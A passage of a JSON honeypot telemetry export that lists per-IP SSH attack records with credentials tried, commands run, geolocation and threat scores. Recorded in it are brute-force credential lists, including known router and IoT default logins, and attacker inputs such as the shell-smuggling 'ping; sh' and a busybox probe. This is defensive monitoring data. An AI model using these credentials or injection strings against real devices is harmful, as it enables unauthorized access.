      "first_seen": "2026-03-03T12:17:37.059Z",
      "last_seen": "2026-03-06T06:00:13.301Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234!Kelltech",
        "@1234Kelltech",
        "Kelltech12$",
        "Kelltech12.",
        "Kelltech2022@",
        "Kelltech2024@",
        "kelltech!2022"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.4,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:02:14.364000+00:00",
        "last_seen_30d": "2026-03-06T06:01:21.886000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 29,
        "Heralding": 2
      }
    },
    "137.59.230.109": {
      "attack_count": 36,
      "first_seen": "2026-03-09T07:34:56.395Z",
      "last_seen": "2026-03-09T07:38:56.769Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:34:56.395000+00:00",
        "last_seen_30d": "2026-03-09T07:40:01.712000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "93.228.187.72": {
      "attack_count": 36,
      "first_seen": "2026-03-10T05:11:39.322Z",
      "last_seen": "2026-03-10T05:14:42.891Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "zyfwp",
        "Xpon@Olt9417#",
        "default",
        "login",
        "supportadmin"
      ],
      "passwords_attempted": [
        "0000",
        "juantech",
        "0",
        "1111",
        "12345",
        "54321",
        "Chameleon",
        "PrOw!aN_fXp",
        "Xpon@Olt9417#",
        "admin",
        "antslq",
        "password",
        "ripcode!",
        "root",
        "supportadmin",
        "tluafed",
        "wabjtam",
        "zyfwp"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Stapelfeld",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:11:39.322000+00:00",
        "last_seen_30d": "2026-03-10T05:25:29.124000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "122.96.50.228": {
      "attack_count": 30,
      "first_seen": "2026-03-24T23:25:48.658Z",
      "last_seen": "2026-03-24T23:31:13.166Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:25:48.658000+00:00",
        "last_seen_30d": "2026-03-24T23:32:16.822000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "103.72.9.109": {
      "attack_count": 28,
      "first_seen": "2026-03-06T19:45:41.864Z",
      "last_seen": "2026-03-06T19:48:29.304Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:45:41.864000+00:00",
        "last_seen_30d": "2026-03-06T19:49:35.066000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "45.148.10.151": {
      "attack_count": 28,
      "first_seen": "2026-03-03T22:02:17.133Z",
      "last_seen": "2026-03-30T22:04:03.667Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:02:17.133000+00:00",
        "last_seen_30d": "2026-03-30T22:05:09.820000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "64.225.24.69": {
      "attack_count": 25,
      "first_seen": "2026-03-11T15:22:28.304Z",
      "last_seen": "2026-03-11T15:31:54.017Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "12345678",
        "sol",
        "solana",
        "solv"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T15:16:49.066000+00:00",
        "last_seen_30d": "2026-03-11T15:32:55.809000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "101.126.147.62": {
      "attack_count": 19,
      "first_seen": "2026-03-09T16:22:16.801Z",
      "last_seen": "2026-03-31T01:23:24.321Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "a",
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T16:22:16.801000+00:00",
        "last_seen_30d": "2026-03-31T01:33:17.015000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "45.114.127.8": {
      "attack_count": 18,
      "first_seen": "2026-03-13T04:56:37.459Z",
      "last_seen": "2026-03-16T10:33:02.554Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 206888,
      "as_org": "HanMing HK Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T04:56:37.459000+00:00",
        "last_seen_30d": "2026-03-16T10:34:14.169000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 16
      }
    },
    "185.129.62.62": {
      "attack_count": 13,
      "first_seen": "2026-03-07T07:01:32.549Z",
      "last_seen": "2026-03-15T18:43:21.172Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 57860,
      "as_org": "Zencurity ApS",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T16:56:52+00:00",
        "last_seen_30d": "2026-03-24T00:08:24.323000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 9,
        "H0neytr4p": 1,
        "Honeytrap": 1
      }
    },
    "103.203.57.11": {
      "attack_count": 12,
      "first_seen": "2026-03-07T18:17:45.661Z",
      "last_seen": "2026-03-29T14:48:09.406Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:17:45.661000+00:00",
        "last_seen_30d": "2026-03-29T14:49:12.834000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 12
      }
    },
    "37.60.241.154": {
      "attack_count": 12,
      "first_seen": "2026-03-04T10:08:04.265Z",
      "last_seen": "2026-03-30T16:05:21.658Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9108,
        "days_active_30d": 30,
        "ports_targeted_30d": 1880,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T00:07:42+00:00",
        "last_seen_30d": "2026-03-31T23:25:16.518000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6718,
        "Honeytrap": 2340,
        "Dionaea": 16,
        "Miniprint": 16,
        "Cowrie": 12,
        "ConPot": 3,
        "Adbhoney": 2,
        "Mailoney": 1
      }
    },
    "14.103.184.19": {
      "attack_count": 10,
      "first_seen": "2026-03-05T08:11:19.802Z",
      "last_seen": "2026-03-05T08:26:15.161Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "sandwich1",
        "win2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:11:19.802000+00:00",
        "last_seen_30d": "2026-03-05T08:27:24.108000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "38.188.160.49": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:37:29.154Z",
      "last_seen": "2026-03-11T00:20:05.680Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12071988",
        "zohra"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:37:29.154000+00:00",
        "last_seen_30d": "2026-03-11T00:21:07.605000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "77.90.185.92": {
      "attack_count": 10,
      "first_seen": "2026-03-05T23:18:54.492Z",
      "last_seen": "2026-03-06T03:33:39.628Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "1234#Kelltech",
        "Kelltech!1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:13:11.679000+00:00",
        "last_seen_30d": "2026-03-06T03:34:47.209000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "192.46.221.9": {
      "attack_count": 8,
      "first_seen": "2026-03-19T02:23:52.918Z",
      "last_seen": "2026-03-19T07:16:49.971Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 5753,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-19T02:23:42+00:00",
        "last_seen_30d": "2026-03-19T07:27:00.898000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3045,
        "Honeytrap": 2646,
        "Dionaea": 18,
        "ConPot": 16,
        "Cowrie": 8,
        "Miniprint": 6,
        "Adbhoney": 4,
        "Dicompot": 4,
        "Redishoneypot": 4,
        "Sentrypeer": 2
      }
    },
    "135.237.126.217": {
      "attack_count": 7,
      "first_seen": "2026-03-11T12:16:56.905Z",
      "last_seen": "2026-03-11T12:17:06.905Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 82.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T13:44:52.273000+00:00",
        "last_seen_30d": "2026-03-31T04:26:52.186000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 14,
        "Cowrie": 7,
        "ElasticPot": 1
      }
    },
    "125.43.228.129": {
      "attack_count": 6,
      "first_seen": "2026-03-15T17:24:49.279Z",
      "last_seen": "2026-03-15T17:25:27.607Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:24:49.279000+00:00",
        "last_seen_30d": "2026-03-15T17:26:32.624000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "103.150.65.63": {
      "attack_count": 5,
      "first_seen": "2026-03-11T05:00:46.743Z",
      "last_seen": "2026-03-11T05:00:48.652Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "usuario1"
      ],
      "passwords_attempted": [
        "123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 151391,
      "as_org": "Varendra IT",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:00:46.743000+00:00",
        "last_seen_30d": "2026-03-11T05:01:54.412000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.171.69.72": {
      "attack_count": 5,
      "first_seen": "2026-03-02T02:58:31.536Z",
      "last_seen": "2026-03-02T02:58:34.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "U&I*o9p0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:58:31.536000+00:00",
        "last_seen_30d": "2026-03-02T02:59:44.214000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "107.189.20.102": {
      "attack_count": 5,
      "first_seen": "2026-03-06T03:34:03.843Z",
      "last_seen": "2026-03-06T03:34:08.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "supermaint"
      ],
      "passwords_attempted": [
        "z4ng0rber"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Zaandam",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 5.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 7,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:33:54+00:00",
        "last_seen_30d": "2026-03-08T16:19:03.190000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 7,
        "Cowrie": 5,
        "H0neytr4p": 5
      }
    },
    "185.220.101.98": {
      "attack_count": 5,
      "first_seen": "2026-03-04T14:23:35.431Z",
      "last_seen": "2026-03-04T14:23:41.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "cron"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:32:46.854000+00:00",
        "last_seen_30d": "2026-03-08T20:57:27.945000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "H0neytr4p": 11,
        "Ciscoasa": 5,
        "Cowrie": 5
      }
    },
    "151.20.38.15": {
      "attack_count": 4,
      "first_seen": "2026-03-08T18:51:35.529Z",
      "last_seen": "2026-03-11T06:48:56.598Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:51:35.529000+00:00",
        "last_seen_30d": "2026-03-11T06:49:57.951000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "3.88.190.149": {
      "attack_count": 4,
      "first_seen": "2026-03-06T00:49:58.832Z",
      "last_seen": "2026-03-06T00:50:05.431Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T00:49:58.832000+00:00",
        "last_seen_30d": "2026-03-09T00:55:36.850000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "38.123.94.210": {
      "attack_count": 4,
      "first_seen": "2026-03-19T00:30:31.707Z",
      "last_seen": "2026-03-19T00:30:31.768Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "South Bend",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 6,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-14T09:03:19.870000+00:00",
        "last_seen_30d": "2026-03-19T00:35:34.301000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 14,
        "Dionaea": 7,
        "Cowrie": 4,
        "Miniprint": 3,
        "Sentrypeer": 1
      }
    },
    "44.203.158.255": {
      "attack_count": 4,
      "first_seen": "2026-03-31T00:59:09.963Z",
      "last_seen": "2026-03-31T00:59:14.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
